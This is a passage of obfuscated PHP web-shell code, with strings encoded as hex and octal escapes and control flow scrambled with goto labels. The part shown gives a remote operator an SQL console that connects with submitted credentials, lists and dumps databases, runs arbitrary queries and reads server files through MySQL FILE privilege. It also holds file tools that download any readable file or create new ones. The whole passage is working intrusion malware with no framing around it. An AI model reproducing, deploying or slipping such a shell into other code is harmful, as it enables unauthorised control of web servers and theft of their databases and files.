$db->setCharset("\143\x70\61\62\65\x31"); break; case "\125\x54\x46\55\70": $db->setCharset("\165\x74\x66\x38"); break; case "\113\x4f\111\70\55\x52": $db->setCharset("\x6b\x6f\151\70\162"); break; case "\113\117\x49\70\55\x55": $db->setCharset("\x6b\x6f\x69\x38\165"); break; case "\x63\x70\70\x36\x36": $db->setCharset("\x63\160\70\x36\66"); break; } if (empty($_POST["\146\151\x6c\145"])) { ob_start("\157\x62\x5f\x67\x7a\150\141\156\144\x6c\145\162", 4096); header("\x43\157\x6e\164\145\156\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\151\157\x6e\72\40\141\x74\x74\x61\x63\150\155\x65\x6e\164\x3b\x20\146\x69\x6c\145\x6e\x61\155\145\x3d\144\165\155\160\56\163\161\154"); header("\103\x6f\x6e\x74\145\x6e\164\x2d\124\171\160\145\72\40\164\145\170\164\57\x70\154\x61\151\x6e"); foreach ($_POST["\x74\x62\x6c"] as $v) { $db->dump($v); } die; } elseif ($fp = @fopen($_POST["\146\x69\154\145"], "\x77")) { foreach ($_POST["\x74\142\x6c"] as $v) { $db->dump($v, $fp); } fclose($fp); unset($_POST["\160\x32"]); } else { die("\x3c\x73\143\x72\151\160\164\76\x61\x6c\x65\162\164\50\x22\x45\162\x72\x6f\x72\x21\x20\103\x61\x6e\x27\x74\40\x6f\x70\145\156\x20\x66\151\154\x65\x22\51\x3b\167\151\156\144\x6f\167\56\150\151\163\x74\x6f\x72\171\56\x62\x61\143\x6b\x28\x2d\x31\51\x3c\x2f\163\x63\162\151\160\164\76"); } } hardHeader(); echo "\xa\x3c\x68\61\x3e\123\x71\154\x20\142\162\157\x77\x73\x65\162\74\x2f\x68\x31\x3e\x3c\x64\x69\x76\40\143\154\141\x73\163\75\x63\x6f\x6e\x74\145\x6e\164\x3e\12\x3c\x66\x6f\162\x6d\40\156\141\x6d\145\x3d\x27\163\x66\x27\40\x6d\145\x74\150\157\x64\x3d\x27\160\157\x73\x74\47\x20\157\156\x73\165\x62\x6d\151\x74\75\x27\146\x73\50\x74\150\x69\163\x29\73\x27\76\x3c\164\141\142\x6c\x65\40\x63\145\154\154\160\x61\144\144\x69\156\147\x3d\47\62\x27\40\x63\x65\154\x6c\163\x70\141\143\151\x6e\147\x3d\x27\60\47\76\x3c\164\x72\x3e\xa\74\164\144\76\x54\x79\160\145\x3c\57\164\x64\x3e\74\x74\144\x3e\110\157\x73\164\x3c\x2f\164\x64\x3e\74\164\x64\76\114\157\x67\x69\156\x3c\x2f\x74\x64\x3e\74\x74\144\76\120\141\x73\x73\x77\157\162\144\x3c\57\x74\x64\76\x3c\x74\144\x3e\104\x61\164\141\x62\x61\163\x65\x3c\x2f\x74\144\76\74\x74\144\x3e\74\x2f\x74\144\76\x3c\x2f\164\x72\76\x3c\x74\x72\x3e\xa\x3c\151\x6e\x70\165\x74\x20\x74\171\160\145\75\150\x69\144\144\145\156\x20\156\141\155\x65\x3d\x6e\x65\40\x76\141\154\x75\x65\75\47\47\x3e\74\151\156\160\165\x74\x20\x74\x79\160\145\x3d\150\x69\144\144\145\x6e\x20\x6e\x61\x6d\145\75\x61\40\166\x61\x6c\x75\145\x3d\123\161\x6c\x3e\74\x69\x6e\160\165\164\40\164\x79\x70\145\75\150\151\144\144\145\156\x20\x6e\141\155\145\75\x70\61\40\x76\141\x6c\165\x65\x3d\x27\161\x75\145\162\171\47\76\74\x69\x6e\x70\165\164\x20\x74\x79\160\145\75\x68\x69\144\x64\145\156\x20\x6e\141\x6d\x65\x3d\x70\62\x20\x76\141\x6c\x75\145\x3d\47\47\x3e\x3c\x69\156\160\165\x74\x20\x74\171\x70\145\75\x68\x69\x64\144\x65\x6e\40\156\x61\x6d\x65\75\143\40\166\141\x6c\x75\x65\x3d\47" . htmlspecialchars($GLOBALS["\143\167\x64"]) . "\x27\76\x3c\151\x6e\160\165\164\40\x74\171\160\145\75\150\x69\144\x64\x65\x6e\40\156\141\x6d\x65\75\x63\x68\x61\162\163\145\x74\40\166\141\x6c\165\145\75\x27" . (isset($_POST["\x63\x68\141\x72\x73\x65\164"]) ? $_POST["\143\x68\141\162\163\145\164"] : '') . "\47\x3e\xa\74\164\x64\x3e\74\154\141\142\x65\x6c\x3e\x3c\163\145\154\x65\x63\164\x20\156\141\155\x65\75\47\x74\171\160\145\47\x3e\74\157\x70\x74\x69\x6f\x6e\x20\166\141\154\165\x65\75\47\x6d\x79\x73\x71\154\47\40"; if (@$_POST["\164\x79\x70\x65"] == "\x6d\x79\x73\x71\154") { echo "\x73\145\x6c\x65\x63\x74\x65\x64"; } echo "\76\115\x79\x53\x71\x6c\74\57\157\160\164\x69\157\x6e\x3e\74\x6f\x70\x74\x69\x6f\156\x20\x76\141\x6c\165\x65\75\x27\160\147\163\161\x6c\x27\x20"; if (@$_POST["\x74\x79\x70\x65"] == "\x70\147\x73\161\x6c") { echo "\163\x65\x6c\x65\143\x74\145\x64"; } echo "\x3e\x50\157\x73\x74\x67\x72\x65\x53\x71\x6c\74\x2f\x6f\160\x74\151\x6f\156\76\x3c\57\x73\x65\154\145\143\x74\x3e\74\x2f\x6c\x61\x62\145\154\x3e\x3c\57\x74\144\x3e\xa\74\x74\144\76\74\x69\x6e\160\x75\x74\40\x74\x79\160\x65\75\164\145\x78\164\40\156\141\155\145\75\163\x71\x6c\137\150\x6f\163\x74\x20\x76\141\154\x75\145\75\x22" . (empty($_POST["\x73\161\154\x5f\x68\x6f\x73\164"]) ? "\154\157\143\x61\154\x68\157\163\x74" : htmlspecialchars($_POST["\163\161\154\x5f\150\x6f\x73\x74"])) . "\x22\76\x3c\57\164\x64\76\xa\x3c\164\144\76\x3c\151\156\160\x75\x74\x20\x74\171\x70\145\75\x74\x65\x78\164\40\156\x61\x6d\145\x3d\163\161\x6c\137\154\x6f\147\151\x6e\x20\x76\x61\x6c\165\145\75\42" . (empty($_POST["\163\x71\x6c\137\x6c\x6f\x67\151\x6e"]) ? "\x72\157\157\164" : htmlspecialchars($_POST["\163\x71\x6c\137\154\157\x67\x69\156"])) . "\x22\76\74\x2f\x74\144\x3e\xa\74\164\x64\76\74\x69\x6e\x70\x75\x74\40\164\x79\x70\145\75\164\x65\170\x74\x20\156\141\x6d\x65\x3d\x73\161\x6c\x5f\x70\x61\163\x73\40\x76\141\x6c\x75\145\75\x22" . (empty($_POST["\163\x71\154\x5f\160\141\163\x73"]) ? '' : htmlspecialchars($_POST["\x73\x71\154\137\160\x61\163\x73"])) . "\42\40\162\145\161\165\x69\x72\x65\144\x3e\74\57\164\x64\x3e\74\164\144\76"; $tmp = "\x3c\151\x6e\160\x75\164\x20\164\x79\x70\x65\75\x74\x65\x78\164\x20\156\141\155\145\75\x73\x71\x6c\137\142\x61\x73\145\40\166\x61\154\x75\x65\75\47\47\x3e"; if (isset($_POST["\163\161\x6c\137\x68\x6f\163\164"])) { if ($db->connect($_POST["\x73\x71\154\137\150\x6f\163\x74"], $_POST["\163\x71\x6c\x5f\x6c\157\x67\151\156"], $_POST["\163\x71\154\137\160\141\163\x73"], $_POST["\x73\x71\154\x5f\x62\141\x73\x65"])) { switch ($_POST["\x63\x68\x61\x72\x73\x65\164"]) { case "\x57\151\x6e\x64\157\x77\163\x2d\x31\62\65\61": $db->setCharset("\x63\160\x31\62\x35\x31"); break; case "\125\124\x46\55\x38": $db->setCharset("\x75\164\x66\x38"); break; case "\113\117\111\70\55\122": $db->setCharset("\x6b\x6f\x69\70\x72"); break; case "\x4b\x4f\111\70\55\125": $db->setCharset("\153\157\x69\70\165"); break; case "\x63\160\x38\x36\x36": $db->setCharset("\143\x70\70\66\x36"); break; } $db->listDbs(); echo "\x3c\x6c\x61\x62\x65\x6c\76\74\x73\145\154\x65\x63\x74\x20\156\x61\155\145\75\163\161\154\x5f\142\141\x73\145\76\x3c\x6f\x70\x74\x69\157\x6e\x20\x76\141\154\x75\145\75\x27\47\x3e\74\x2f\x6f\160\164\x69\x6f\156\76"; while ($dokl = $db->fetch()) { list($key, $value) = each($dokl); echo "\74\x6f\160\164\x69\157\x6e\40\x76\x61\154\x75\145\x3d\x22" . $value . "\x22\40" . ($value == $_POST["\x73\x71\154\137\x62\141\x73\x65"] ? "\163\145\154\x65\143\x74\145\x64" : '') . "\x3e" . $value . "\74\57\x6f\x70\164\x69\157\156\76"; } echo "\74\57\163\145\154\x65\143\164\x3e\74\57\154\141\142\x65\154\76"; } else { echo $tmp; } } else { echo $tmp; } echo "\x3c\57\x74\x64\x3e\xa\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\x20\x20\x20\40\x20\x20\40\74\164\144\x3e\74\x69\x6e\160\165\x74\x20\x74\171\x70\145\75\163\x75\x62\x6d\151\164\40\166\x61\154\x75\x65\75\47\x73\165\x62\155\151\164\x27\x20\157\156\x63\154\151\x63\153\x3d\47\146\x73\x28\144\56\x73\x66\x29\73\x27\76\74\57\x74\144\x3e\xa\40\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\40\x20\74\x74\144\76\x3c\151\156\x70\x75\164\x20\x74\x79\160\145\75\x63\x68\145\143\153\142\x6f\x78\x20\x6e\141\x6d\x65\75\163\161\x6c\137\143\157\165\x6e\164\40\166\141\154\165\145\75\x27\157\156\47" . (empty($_POST["\x73\x71\154\x5f\143\x6f\x75\x6e\164"]) ? '' : "\40\x63\150\145\x63\153\145\144") . "\x3e\40\143\x6f\165\x6e\x74\40\164\x68\145\40\156\x75\x6d\x62\x65\x72\40\x6f\x66\40\x72\157\x77\x73\74\x2f\164\144\x3e\xa\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\74\57\x74\x72\x3e\xa\x20\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x3c\57\x74\141\142\x6c\145\x3e\xa\40\40\40\x20\40\40\40\40\x20\40\40\x20\x20\x20\40\40\74\x73\143\x72\x69\x70\164\x3e\12\x20\x20\40\x20\x20\40\40\40\x20\40\40\x20\x73\x5f\144\142\x3d\47" . @addslashes($_POST["\163\x71\154\137\142\141\x73\145"]) . "\x27\73\12\x20\x20\x20\x20\40\40\40\x20\x20\40\40\x20\x66\x75\x6e\x63\x74\151\157\x6e\x20\146\x73\50\146\x29\40\x7b\xa\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\40\x20\40\x20\x69\146\50\x66\x2e\x73\161\x6c\137\142\141\x73\145\56\166\141\x6c\x75\145\41\x3d\x73\137\144\142\x29\40\173\40\x66\x2e\157\x6e\163\165\x62\155\x69\x74\x20\75\40\x66\x75\x6e\143\164\x69\x6f\156\x28\51\x20\173\175\x3b\12\40\40\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\40\40\x20\40\x69\x66\50\146\x2e\x70\x31\51\x20\x66\x2e\x70\61\56\x76\141\x6c\165\x65\75\x27\x27\73\12\x20\40\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\x69\x66\x28\146\56\160\x32\51\x20\146\56\160\62\56\x76\141\x6c\165\145\x3d\47\x27\x3b\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\151\146\x28\146\56\x70\x33\x29\40\146\x2e\160\x33\x2e\166\x61\154\x75\x65\75\47\47\x3b\12\40\x20\x20\40\x20\40\40\40\40\x20\40\40\40\40\40\40\175\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\40\175\12\40\x20\x20\x20\40\x20\40\40\40\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\x20\x20\146\x75\x6e\143\164\151\157\x6e\x20\x73\164\50\x74\x2c\154\51\40\173\12\x20\x20\x20\x20\x20\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\40\40\144\x2e\163\x66\x2e\160\x31\56\166\x61\154\165\x65\x20\x3d\x20\47\163\145\154\145\x63\x74\x27\x3b\12\40\40\x20\40\40\40\x20\40\40\x20\40\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\40\x20\x20\x20\144\56\163\146\x2e\160\62\x2e\166\x61\154\x75\x65\x20\x3d\x20\164\x3b\xa\40\40\40\40\x20\x20\40\x20\40\40\x20\40\40\x20\40\x20\151\x66\x28\154\40\x26\46\x20\144\56\x73\146\x2e\x70\x33\x29\40\144\x2e\x73\x66\x2e\x70\x33\x2e\x76\141\154\165\x65\40\75\x20\x6c\x3b\xa\40\40\x20\x20\x20\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\144\56\x73\x66\56\163\x75\142\155\x69\164\50\51\x3b\xa\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\x20\40\40\x20\x20\x7d\xa\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\40\x20\x66\165\x6e\x63\164\151\157\x6e\40\151\163\x28\51\x20\173\12\x20\x20\40\x20\40\40\40\40\40\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\x66\157\162\x28\151\75\60\73\151\x3c\144\56\163\146\56\145\x6c\145\x6d\145\x6e\164\163\x5b\x27\164\x62\154\133\x5d\47\135\56\154\145\156\x67\164\150\x3b\x2b\x2b\x69\51\12\x20\40\40\40\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\x20\x20\40\x20\40\x20\40\40\40\x20\40\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\x20\x64\x2e\163\146\x2e\x65\x6c\145\x6d\145\x6e\x74\x73\133\47\164\x62\154\133\x5d\x27\x5d\133\151\x5d\56\143\150\145\143\153\145\144\40\75\40\x21\x64\56\x73\146\x2e\145\154\x65\x6d\145\156\x74\163\133\x27\164\142\x6c\x5b\x5d\x27\135\133\151\135\x2e\x63\150\x65\143\153\x65\144\x3b\xa\x20\x20\40\x20\x20\40\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\40\40\40\x20\x20\x20\x20\175\12\40\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\74\x2f\163\143\162\151\160\164\76"; if (isset($db) && $db->link) { echo "\74\x62\x72\x2f\x3e\74\x74\141\142\x6c\145\40\167\x69\x64\164\x68\75\x31\60\x30\45\x20\x63\x65\x6c\154\160\141\144\x64\151\156\x67\x3d\x32\40\143\145\154\154\x73\x70\141\x63\x69\156\147\75\x30\76"; if (!empty($_POST["\163\161\154\x5f\x62\141\x73\145"])) { $db->selectdb($_POST["\163\x71\154\x5f\142\141\x73\x65"]); echo "\74\x74\x72\x3e\74\x74\x64\40\x77\x69\144\x74\x68\x3d\x31\x20\163\164\171\x6c\x65\x3d\47\142\x6f\162\x64\x65\162\55\x74\157\x70\72\x32\160\x78\40\x73\157\154\151\144\40\x23\x36\x36\66\73\47\76\x3c\163\x70\x61\x6e\x3e\124\x61\142\x6c\145\x73\72\x3c\57\x73\x70\x61\x6e\76\x3c\142\162\76\x3c\142\162\x3e"; $tbls_res = $db->listTables(); while ($dokl = $db->fetch($tbls_res)) { list($key, $value) = each($dokl); if (!empty($_POST["\163\161\154\137\x63\x6f\x75\156\164"])) { $n = $db->fetch($db->query("\x53\x45\114\105\x43\x54\x20\x43\117\x55\116\x54\x28\x2a\51\x20\x61\x73\x20\x6e\x20\106\122\x4f\115\40" . $value . '')); } $value = htmlspecialchars($value); echo "\74\x6e\157\x62\162\76\74\x69\156\160\165\x74\x20\x74\171\x70\x65\x3d\x27\x63\150\x65\x63\153\x62\x6f\170\47\40\156\x61\155\x65\x3d\47\164\x62\154\133\x5d\47\40\x76\141\x6c\165\145\75\47" . $value . "\47\x3e\46\156\x62\x73\x70\x3b\x3c\x61\x20\x68\x72\x65\146\x3d\x23\40\x6f\x6e\143\154\x69\x63\153\x3d\x22\x73\x74\x28\47" . $value . "\47\x2c\x31\x29\42\x3e" . $value . "\x3c\x2f\141\76" . (empty($_POST["\x73\161\x6c\137\x63\x6f\x75\156\164"]) ? "\46\x6e\142\x73\160\x3b" : "\x20\x3c\x73\x6d\x61\154\154\76\50{$n["\156"]}\x29\x3c\57\x73\x6d\141\x6c\x6c\x3e") . "\74\57\x6e\x6f\142\162\76\x3c\x62\x72\x3e"; } echo "\x3c\151\156\x70\x75\x74\40\164\x79\x70\x65\x3d\x27\143\150\145\x63\153\x62\157\170\x27\40\x6f\x6e\x63\x6c\x69\143\153\x3d\x27\x69\x73\50\x29\73\x27\x3e\40\74\x69\156\x70\x75\164\x20\x74\x79\x70\x65\75\163\165\142\x6d\x69\164\x20\166\x61\x6c\x75\x65\75\47\104\165\155\160\x27\x20\x6f\x6e\x63\x6c\151\143\153\75\47\x64\x6f\143\165\155\145\156\164\56\x73\146\x2e\160\62\56\x76\141\x6c\165\x65\x3d\42\x64\x6f\x77\x6e\x6c\157\x61\144\x22\x3b\x64\x6f\x63\165\155\x65\x6e\164\x2e\x73\146\x2e\x73\x75\142\x6d\151\164\x28\51\73\x27\x3e\x3c\x62\x72\76\106\151\x6c\x65\x20\x70\x61\164\150\72\x3c\151\x6e\x70\165\164\40\164\x79\x70\145\x3d\164\145\170\x74\40\x6e\141\x6d\145\75\x66\151\154\x65\x20\166\x61\154\x75\145\75\x27\x64\x75\x6d\x70\56\x73\161\x6c\x27\x3e\74\x2f\164\144\x3e\x3c\x74\x64\40\x73\164\171\x6c\x65\x3d\x27\142\x6f\162\x64\145\162\55\x74\x6f\x70\72\x32\x70\170\x20\163\157\154\x69\x64\x20\43\66\66\66\73\x27\76"; if (@$_POST["\160\61"] == "\x73\x65\154\x65\x63\x74") { $_POST["\x70\x31"] = "\x71\x75\x65\162\171"; $_POST["\x70\63"] = $_POST["\160\63"] ? $_POST["\160\x33"] : 1; $db->query("\123\x45\114\105\103\x54\40\x43\117\x55\x4e\124\x28\52\x29\x20\141\x73\40\x6e\x20\106\122\117\115\40" . $_POST["\x70\x32"]); $num = $db->fetch(); $pages = ceil($num["\x6e"] / 30); echo "\74\163\x63\162\x69\160\x74\x3e\144\56\x73\146\56\157\156\163\x75\x62\x6d\151\x74\x3d\146\165\x6e\143\164\151\157\x6e\x28\51\173\x73\164\50\42" . $_POST["\x70\x32"] . "\42\54\40\x64\x2e\x73\x66\x2e\x70\x33\56\166\x61\154\165\x65\51\x7d\x3c\57\163\x63\162\x69\x70\164\x3e\74\x73\x70\x61\x6e\76" . $_POST["\160\x32"] . "\74\x2f\x73\x70\x61\156\x3e\40\50{$num["\156"]}\40\x72\145\x63\157\x72\144\x73\x29\x20\120\141\x67\145\40\43\40\74\151\x6e\160\x75\164\x20\164\x79\x70\x65\x3d\164\145\x78\164\x20\156\141\x6d\x65\x3d\47\x70\x33\47\x20\x76\141\154\x75\145\75" . (int) $_POST["\160\63"] . "\x3e"; echo "\40\x6f\146\40{$pages}"; if ($_POST["\160\63"] > 1) { echo "\x20\74\x61\40\x68\x72\145\146\75\x23\x20\x6f\156\x63\154\x69\x63\153\x3d\x27\x73\164\50\x22" . $_POST["\x70\x32"] . "\42\54\40" . ($_POST["\160\63"] - 1) . "\51\x27\76\46\154\164\x3b\40\120\162\145\166\74\x2f\x61\76"; } if ($_POST["\x70\63"] < $pages) { echo "\40\x3c\x61\x20\x68\x72\x65\146\75\x23\40\157\x6e\143\x6c\x69\143\x6b\75\x27\x73\164\x28\x22" . $_POST["\160\62"] . "\42\54\x20" . ($_POST["\160\x33"] + 1) . "\51\47\76\x4e\x65\x78\164\x20\46\x67\x74\x3b\x3c\x2f\141\76"; } $_POST["\160\63"]--; if ($_POST["\164\x79\x70\x65"] == "\160\147\163\161\154") { $_POST["\x70\x32"] = "\x53\x45\x4c\105\103\x54\x20\x2a\40\x46\x52\117\x4d\x20" . $_POST["\x70\x32"] . "\40\x4c\x49\x4d\x49\x54\40\x33\x30\x20\117\x46\106\x53\x45\x54\40" . $_POST["\x70\x33"] * 30; } else { $_POST["\160\x32"] = "\x53\x45\114\x45\103\124\x20\52\40\x46\122\117\115\40\140" . $_POST["\x70\62"] . "\x60\x20\114\111\x4d\x49\x54\x20" . $_POST["\x70\63"] * 30 . "\54\63\60"; } echo "\x3c\x62\x72\76\x3c\142\162\76"; } if (@$_POST["\160\x31"] == "\161\x75\x65\162\x79" && !empty($_POST["\x70\x32"])) { $db->query(@$_POST["\160\x32"]); if ($db->res !== false) { $title = false; echo "\x3c\x74\141\x62\154\x65\x20\167\151\x64\x74\x68\75\61\x30\60\x25\x20\x63\x65\x6c\154\x73\160\141\143\151\156\147\x3d\61\40\x63\x65\154\x6c\x70\141\x64\144\151\156\x67\75\x32\x20\x63\154\x61\x73\163\x3d\155\141\x69\156\x3e"; $line = 1; while ($dokl = $db->fetch()) { if (!$title) { echo "\74\x74\x72\x3e"; foreach ($dokl as $key => $value) { echo "\x3c\x74\x68\76" . $key . "\x3c\57\164\150\76"; } reset($dokl); $title = true; echo "\74\57\164\x72\x3e\74\x74\162\x3e"; $line = 2; } echo "\74\164\x72\40\x63\x6c\141\x73\163\x3d\42\154" . $line . "\x22\76"; $line = $line == 1 ? 2 : 1; foreach ($dokl as $key => $value) { if ($value == null) { echo "\x3c\x74\x64\76\x3c\x69\x3e\156\x75\154\154\x3c\57\151\76\x3c\57\x74\144\76"; } else { echo "\74\164\144\x3e" . nl2br(htmlspecialchars($value)) . "\x3c\57\x74\144\x3e"; } } echo "\74\57\164\162\76"; } echo "\74\57\164\141\x62\x6c\145\76"; } else { echo "\x3c\144\x69\x76\76\x3c\x62\76\105\x72\162\x6f\x72\72\x3c\x2f\x62\76\40" . htmlspecialchars($db->error()) . "\x3c\57\x64\x69\166\x3e"; } } echo "\74\142\x72\x3e\x3c\57\146\157\162\155\x3e\74\146\157\162\155\40\x6f\156\163\165\142\155\x69\164\75\x27\144\x2e\163\x66\56\x70\61\x2e\166\x61\x6c\x75\x65\75\x22\x71\165\145\x72\x79\x22\73\x64\56\163\146\56\x70\x32\56\x76\141\x6c\x75\145\x3d\164\x68\151\x73\56\x71\x75\145\162\x79\56\x76\x61\x6c\x75\145\73\x64\x6f\x63\165\x6d\x65\x6e\x74\56\x73\146\56\163\x75\142\x6d\x69\164\50\x29\x3b\x72\x65\x74\165\x72\x6e\x20\x66\141\x6c\163\145\x3b\47\x3e\74\x74\x65\170\x74\x61\x72\145\x61\x20\x6e\141\155\x65\x3d\x27\161\x75\x65\162\x79\47\40\x73\x74\x79\x6c\145\x3d\47\167\151\x64\x74\x68\x3a\x31\60\x30\x25\x3b\150\x65\151\147\150\164\x3a\x31\x30\60\x70\x78\x27\76"; if (!empty($_POST["\160\x32"]) && $_POST["\x70\61"] != "\x6c\x6f\141\x64\x66\151\x6c\x65") { echo htmlspecialchars($_POST["\160\x32"]); } echo "\x3c\x2f\x74\x65\x78\x74\141\x72\x65\141\76\74\x62\x72\x2f\76\x3c\x69\156\160\x75\164\40\x74\171\160\x65\x3d\163\165\142\x6d\151\164\x20\166\x61\x6c\x75\145\x3d\x27\105\170\145\143\165\x74\x65\x27\76"; echo "\x3c\x2f\164\144\x3e\74\x2f\164\162\x3e"; } echo "\x3c\x2f\x74\x61\142\154\145\x3e\74\57\x66\157\x72\x6d\x3e\x3c\x62\x72\x2f\76"; if ($_POST["\x74\x79\160\145"] == "\x6d\x79\163\161\154") { $db->query("\123\x45\x4c\x45\x43\x54\40\61\x20\x46\122\117\115\x20\x6d\171\x73\161\x6c\56\165\163\x65\x72\x20\x57\110\x45\x52\105\40\x63\157\x6e\143\x61\x74\50\140\x75\x73\x65\162\x60\x2c\40\47\x40\x27\x2c\40\140\150\x6f\163\x74\140\x29\x20\x3d\40\125\123\x45\x52\50\51\x20\x41\116\x44\x20\x60\106\151\154\x65\137\x70\x72\x69\166\x60\40\x3d\40\47\171\x27"); if ($db->fetch()) { echo "\74\146\x6f\x72\x6d\40\x6f\x6e\x73\x75\x62\x6d\151\x74\75\47\x64\x2e\x73\x66\x2e\x70\x31\x2e\x76\x61\x6c\165\145\x3d\42\154\157\141\144\x66\151\154\145\42\73\144\157\x63\x75\x6d\x65\156\164\x2e\x73\146\56\x70\x32\x2e\166\x61\154\165\145\75\x74\150\x69\x73\x2e\146\x2e\166\x61\x6c\x75\x65\73\x64\x6f\143\x75\155\145\x6e\x74\56\x73\x66\56\x73\165\x62\x6d\x69\164\50\51\73\x72\145\x74\x75\x72\156\40\146\141\154\163\145\x3b\x27\76\74\163\x70\x61\x6e\76\x4c\x6f\141\144\40\x66\x69\x6c\x65\74\57\x73\160\141\x6e\x3e\x20\x3c\151\156\160\x75\x74\40\x20\143\154\x61\x73\x73\x3d\47\164\157\x6f\154\163\x49\x6e\160\x27\x20\164\171\160\x65\x3d\164\x65\170\164\x20\156\x61\x6d\145\75\x66\76\x3c\151\156\x70\165\164\40\164\x79\x70\145\x3d\x73\x75\142\x6d\151\164\40\x76\x61\x6c\x75\145\x3d\47\x73\165\142\155\x69\x74\x27\76\74\x2f\x66\157\162\155\76"; } } if (@$_POST["\160\61"] == "\154\x6f\141\x64\146\151\x6c\145") { $file = $db->loadFile($_POST["\160\x32"]); echo "\74\142\162\x2f\x3e\x3c\x70\162\145\x20\143\x6c\141\x73\x73\x3d\155\x6c\x31\76" . htmlspecialchars($file["\x66\151\x6c\145"]) . "\74\x2f\160\162\x65\x3e"; } } else { echo htmlspecialchars($db->error()); } echo "\x3c\x2f\x64\x69\x76\x3e"; hardFooter(); } goto RNCDM; iglSy: if (empty($_POST["\x61"])) { if (isset($dect) && function_exists("\141\x63\164\151\x6f\x6e" . $dect)) { $_POST["\x61"] = $dect; } else { $_POST["\141"] = "\106\x69\x6c\x65\x73\115\x61\156"; } } goto zGeli; xGs07: function actionFilesTools() { if (isset($_POST["\x70\x31"])) { $_POST["\160\x31"] = urldecode($_POST["\160\61"]); } if (@$_POST["\160\x32"] == "\x64\x6f\167\156\x6c\157\141\x64") { if (@is_file($_POST["\x70\61"]) && @is_readable($_POST["\160\x31"])) { ob_start("\157\142\137\x67\x7a\150\x61\x6e\x64\154\145\x72", 4096); header("\x43\157\x6e\x74\x65\156\x74\x2d\x44\151\x73\x70\x6f\163\151\x74\151\157\x6e\72\40\141\164\x74\141\143\150\x6d\145\x6e\x74\73\40\146\151\x6c\145\x6e\141\x6d\145\x3d" . basename($_POST["\x70\x31"])); if (function_exists("\x6d\x69\x6d\x65\137\143\157\156\164\x65\156\x74\137\164\171\x70\x65")) { $type = @mime_content_type($_POST["\x70\61"]); header("\103\x6f\x6e\164\145\x6e\x74\55\x54\171\160\145\x3a\40" . $type); } else { header("\x43\x6f\x6e\x74\x65\x6e\x74\x2d\124\x79\160\145\72\x20\x61\160\x70\x6c\151\143\x61\x74\x69\x6f\x6e\x2f\157\143\x74\145\164\55\x73\x74\x72\x65\x61\155"); } $fp = @fopen($_POST["\160\61"], "\x72"); if ($fp) { while (!@feof($fp)) { echo @fread($fp, 1024); } fclose($fp); } } die; } if (@$_POST["\160\62"] == "\155\x6b\x66\151\x6c\145") { if (!file_exists($_POST["\x70\x31"])) { $fp = @fopen($_POST["\160\x31"], "\167"); if ($fp) { $_POST["\x70\x32"] = "\145\144\x69\164"; fclose($fp); } } } hardHeader(); echo "\74\150\61\76\x46\x69\x6c\x65\40\164\x6f\157\154\x73\x3c\57\x68\x31\76\74\144\x69\166\x20\x63\154\x61\x73\x73\x3d\143\157\156\x74\145\x6e\164\x3e"; if (!file_exists(@$_POST["\x70\x31"])) { echo "\x46\x69\154\145\40\x6e\x6f\164\x20\145\170\151\x73\x74\x73"; hardFooter(); return; } $uid = @posix_getpwuid(@fileowner($_POST["\x70\61"])); if (!$uid) { $uid["\156\x61\155\x65"] = @fileowner($_POST["\160\61"]); $gid["\156\141\155\x65"] = @filegroup($_POST["\160\61"]); } else { $gid = @posix_getgrgid(@filegroup($_POST["\x70\61"])); } echo "\74\163\x70\x61\x6e\x3e\116\x61\155\x65\x3a\x3c\57\x73\160\141\x6e\x3e\40\x3c\142\40\163\164\171\x6c\x65\75\42\x63\x6f\x6c\x6f\162\x3a\x77\150\x69\164\145\x22\x3e" . htmlspecialchars(@basename($_POST["\160\61"])) . "\x3c\x2f\142\76\x20\74\163\x70\x61\x6e\x3e\123\x69\172\x65\72\74\57\x73\160\x61\x6e\76\x20\74\142\40\x73\x74\171\x6c\145\75\42\143\x6f\x6c\x6f\162\72\167\x68\151\x74\x65\42\76" . (is_file($_POST["\160\61"]) ? viewSize(filesize($_POST["\160\61"])) : "\55") . "\40\x3c\57\x62\76\74\163\x70\x61\x6e\76\x50\x65\162\155\x69\163\x73\x69\x6f\156\72\x3c\57\x73\x70\141\156\x3e\40" . viewPermsColor($_POST["\x70\x31"]) . "\x20\x3c\163\160\x61\156\76\x4f\x77\x6e\x65\162\x2f\x47\162\x6f\x75\x70\72\74\x2f\163\160\x61\156\x3e\40" . $uid["\156\141\155\x65"] . "\57" . $gid["\156\x61\155\x65"] . "\x3c\x62\x72\x3e"; echo "\74\x73\x70\x61\156\x3e\x43\x72\145\141\x74\145\x20\164\x69\x6d\145\72\74\57\163\x70\141\156\76\40\x3c\x62\x20\163\164\171\x6c\x65\75\42\x63\157\x6c\157\162\72\167\x68\151\164\x65\42\76" . date("\x59\55\x6d\x2d\144\x20\110\x3a\151\72\x73", filectime($_POST["\160\x31"])) . 